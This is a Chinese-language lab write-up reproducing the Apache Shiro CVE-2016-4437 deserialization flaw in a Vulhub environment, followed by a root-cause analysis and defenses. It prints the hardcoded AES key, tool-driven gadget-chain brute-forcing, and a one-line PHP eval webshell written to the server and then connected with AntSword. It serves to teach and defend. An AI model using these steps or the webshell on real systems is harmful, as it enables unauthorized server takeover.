【vulhub shiro 漏洞复现】vulhub shiro CVE-2016-4437 Shiro反序列化漏洞复现详细分析解释

【vulhub shiro 漏洞复现】vulhub shiro CVE-2016-4437 Shiro反序列化漏洞复现详细分析解释

本文仅用于技术研究与安全防御,禁止用于非法攻击。因滥用本文内容导致的一切法律责任,由使用者自行承担。

在vulhub打开环境

ip:port打开web服务界面

抓包,出现rememberMe=deleteMe字段猜测是Shiro漏洞特征

ShiroExploit.V2.51工具填进URL来扫出正确的Shiro key,key:

复制代码
kPH+bIxk5D2deZiIxcaaaA==

使用shiro_attack-5.0.0-zulu-8-jfx工具爆破出CommonsCollectionsK1构造链

复制代码
[++] 发现构造链:CommonsCollectionsK1  回显方式: AllEcho

拿到webshell,命令执行成功

使用中国蚁剑连接成功

下面是shiro CVE-2016-4437漏洞详细分析解释:

一、漏洞背景

  • 漏洞编号:CVE-2016-4437
  • 漏洞类型:Java 反序列化漏洞
  • 危害等级:高危(CVSS 评分 9.8)
  • 影响范围:Apache Shiro 1.2.4 及以下版本
  • 核心成因 :Shiro 框架在 1.2.4 及以下版本中硬编码了默认 AES 加密密钥 ,攻击者可利用该密钥加密恶意反序列化数据,通过rememberMe Cookie 传递给服务端,触发反序列化执行任意恶意代码。

二、环境搭建

本文使用 Vulhub 一键化漏洞测试环境,确保复现过程稳定可复现。

2.1 环境前提

  • 已安装 Docker 和 Docker-Compose(Kali Linux 默认已预装)
  • 攻击机与靶机在同一局域网内,网络互通

2.2 启动漏洞环境

  1. 进入 Vulhub 对应漏洞目录:

    bash 复制代码
    cd vulhub/shiro/CVE-2016-4437
  2. 启动 Docker 容器:

    bash 复制代码
    docker-compose up -d
  3. 验证环境启动:浏览器访问 http://靶机IP:8080,出现 Shiro 默认登录页面即环境搭建成功。

三、漏洞复现全流程

3.1 步骤 1:漏洞特征识别

Shiro 框架最典型的特征是rememberMe Cookie,这是漏洞利用的入口。

  1. 打开 Burp Suite,配置浏览器代理,拦截访问http://靶机IP:8080的请求;

  2. 发送任意请求,观察响应头中的Set-Cookie字段;

  3. 若出现rememberMe=deleteMe,即可判定目标使用了 Shiro 框架。

术语解释rememberMe是 Shiro 的 "记住我" 功能,用户登录时勾选该选项后,Shiro 会将用户信息加密存储在 Cookie 中,下次访问时无需重新登录。

3.2 步骤 2:获取 Shiro 默认密钥

漏洞利用的核心前提是获取 AES 加密密钥,Shiro 1.2.4 及以下版本的默认密钥是硬编码在源码中的。

  1. 下载并打开 Shiro 漏洞利用工具ShiroExploit.V2.51

  2. 在 "目标地址" 栏输入http://靶机IP:8080

  3. 点击 "开始扫描",工具会自动枚举 Shiro 的默认密钥;

  4. 扫描结果显示目标使用的密钥为:

    复制代码
    kPH+bIxk5D2deZiIxcaaaA==

关键说明:这个密钥是 Shiro 官方在源码中写死的,未修改默认配置的 Shiro 应用都会使用该密钥,这也是该漏洞被称为 "永恒之钥" 的原因。

3.3 步骤 3:爆破可用反序列化构造链

Java 反序列化漏洞无法直接执行代码,需要借助第三方库中的 "构造链" 来触发命令执行。

  1. 打开shiro_attack-5.0.0-zulu-8-jfx工具;

  2. 输入目标地址http://靶机IP:8080和已获取的密钥kPH+bIxk5D2deZiIxcaaaA==

  3. 选择 "构造链扫描",点击 "开始";

  4. 扫描结果显示可用构造链为CommonsCollectionsK1,回显方式为AllEcho

术语解释 :构造链是第三方库中一系列方法的调用链,攻击者可以构造恶意对象,让反序列化过程自动执行这个调用链,最终触发系统命令执行。CommonsCollections是 Java 生态中最常用的工具库,也是反序列化构造链最多的库之一。

3.4 步骤 4:漏洞利用与验证

3.4.1 执行系统命令
  1. 在 shiro_attack 工具中,选择已爆破出的CommonsCollectionsK1构造链;

  2. 在 "命令执行" 栏输入whoami,点击 "执行";

  3. 工具返回命令执行结果root,证明命令执行成功。

3.4.2 写入 WebShell
  1. 在命令执行栏输入写入 WebShell 的命令:

    bash 复制代码
    echo '<?php eval($_POST["123"]); ?>' > /var/www/html/123.php
  2. 点击 "执行",无报错即写入成功。

3.4.3 蚁剑连接 WebShell
  1. 打开中国蚁剑,右键点击 "添加数据";

  2. 配置连接信息:

    • URL 地址:http://靶机IP:8080/123.php
    • 连接密码:123
    • 脚本类型:PHP
  3. 点击 "测试连接",显示 "连接成功" 后点击 "添加";

  4. 双击连接,即可获得目标服务器的文件管理和虚拟终端权限。

四、漏洞原理深度分析

4.1 核心逻辑拆解

Shiro CVE-2016-4437 的本质是硬编码密钥 + 不安全反序列化的组合漏洞,完整的攻击流程如下:

  1. 正常 rememberMe 流程

    • 用户登录时勾选 "记住我";
    • Shiro 将用户信息序列化为字节流;
    • 使用硬编码的 AES 密钥加密字节流;
    • 将加密后的数据存入rememberMe Cookie 返回给浏览器。
  2. 恶意攻击流程

    • 攻击者构造包含恶意代码的序列化对象;
    • 使用 Shiro 默认密钥加密该对象;
    • 将加密后的数据放入rememberMe Cookie,发送给服务端;
    • 服务端接收 Cookie 后,使用默认密钥解密;
    • 对解密后的字节流进行反序列化,执行恶意代码。

4.2 关键漏洞节点

4.2.1 硬编码密钥

Shiro 1.2.4 及以下版本的AbstractRememberMeManager类中,硬编码了默认的 AES 密钥:

java 复制代码
private byte[] cipherKey = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

未手动修改该配置的应用,都会使用这个公开的密钥,攻击者可以轻松加密任意恶意数据。

4.2.2 不安全的反序列化

Shiro 在反序列化rememberMe Cookie 中的数据时,未对反序列化的类做任何白名单校验,只要是 Java 中存在的类都可以被反序列化。这就给了攻击者可乘之机,他们可以利用第三方库中的构造链,让反序列化过程执行任意系统命令。

通俗解释:反序列化可以理解为 "将字节流恢复成可执行的 Java 对象"。正常情况下,服务端只会反序列化自己生成的合法对象,但 Shiro 没有校验对象的来源和合法性,导致攻击者构造的恶意对象也能被恢复并执行。

五、防御方案

5.1 短期紧急修复

立即升级 Apache Shiro 至 1.2.5 及以上版本。官方在 1.2.5 版本中修复了硬编码密钥问题,改为每次启动时自动生成随机密钥,从根本上解决了密钥泄露的问题。

5.2 中期安全加固

  1. 自定义高强度随机密钥:即使升级了版本,也建议手动配置随机 AES 密钥,避免因其他漏洞导致密钥泄露:

    java 复制代码
    cookieRememberMeManager.setCipherKey(Base64.decode("自定义的16位随机Base64字符串"));
  2. 增加 Cookie 签名校验:对rememberMeCookie 增加数字签名,防止数据被篡改。

  3. 限制反序列化类范围:配置 Shiro 的反序列化白名单,只允许反序列化业务必需的类,禁用CommonsCollections等危险库的反序列化。

5.3 长期防护体系

  1. 定期漏洞扫描:使用 Nessus、AWVS 等工具定期扫描系统,及时发现并修复老旧框架漏洞。
  2. 部署 WAF 防护 :在 Web 应用前部署 Web 应用防火墙,拦截包含恶意rememberMe Cookie 的请求。
  3. 加强代码审计:在开发阶段对反序列化相关代码进行严格审计,避免引入新的反序列化漏洞。
  4. 最小权限运行:Web 服务以普通用户权限运行,即使漏洞被利用,也能降低攻击者的危害范围。

六、总结

本文完整复现了 Apache Shiro CVE-2016-4437 反序列化漏洞,核心步骤可总结为:特征识别→密钥获取→构造链爆破→命令执行→WebShell 连接

该漏洞是 Java 反序列化漏洞的经典案例,其核心危害源于两个低级错误:硬编码敏感密钥未校验反序列化数据。这也反映出 Java 生态中反序列化漏洞的共性风险 ------ 只要存在未校验的反序列化入口,且目标服务器存在可利用的构造链,就可能被攻击者远程控制。

对于安全从业者而言,掌握反序列化漏洞的原理和利用方法是必备技能;对于企业而言,及时升级框架版本、加强密钥管理和输入校验,是防御反序列化漏洞的核心手段。只有从开发、运维、防护多个层面构建完整的安全体系,才能有效抵御此类高危漏洞的攻击。

本文仅用于技术研究与安全防御,禁止用于非法攻击。因滥用本文内容导致的一切法律责任,由使用者自行承担。

相关推荐
m0_493934532 小时前
html标签怎么避免标签嵌套错误_div不能放在p内原因【详解】
jvm·数据库·python
꯭爿꯭巎꯭2 小时前
python下载手机版(python3手机版(免费))
开发语言·python·智能手机
2301_782659182 小时前
Go语言goroutine调度原理_Go语言GMP调度模型教程【高效】
jvm·数据库·python
2603_953527992 小时前
WordPress Finale Lite 插件高危漏洞检测与利用工具 (CVE-2024-30485)
前端·python·安全·web3·xss
黄俊懿2 小时前
【架构师从入门到进阶】第五章:DNS&CDN&网关优化思路——第一节:DNS优化
网络·计算机网络·架构·系统架构·cdn·dns·架构设计
qq_334563552 小时前
Layui layer弹窗如何实现居中显示
jvm·数据库·python
FL16238631292 小时前
基于C#winform部署软前景分割DAViD算法的onnx模型实现前景分割
开发语言·算法·c#
weixin_580614002 小时前
模型持久化不会提升准确率:揭秘训练集误用导致的“虚假精度”陷阱
jvm·数据库·python
2401_887724502 小时前
Layui弹出层layer.tab如何监听标签页切换的具体序号
jvm·数据库·python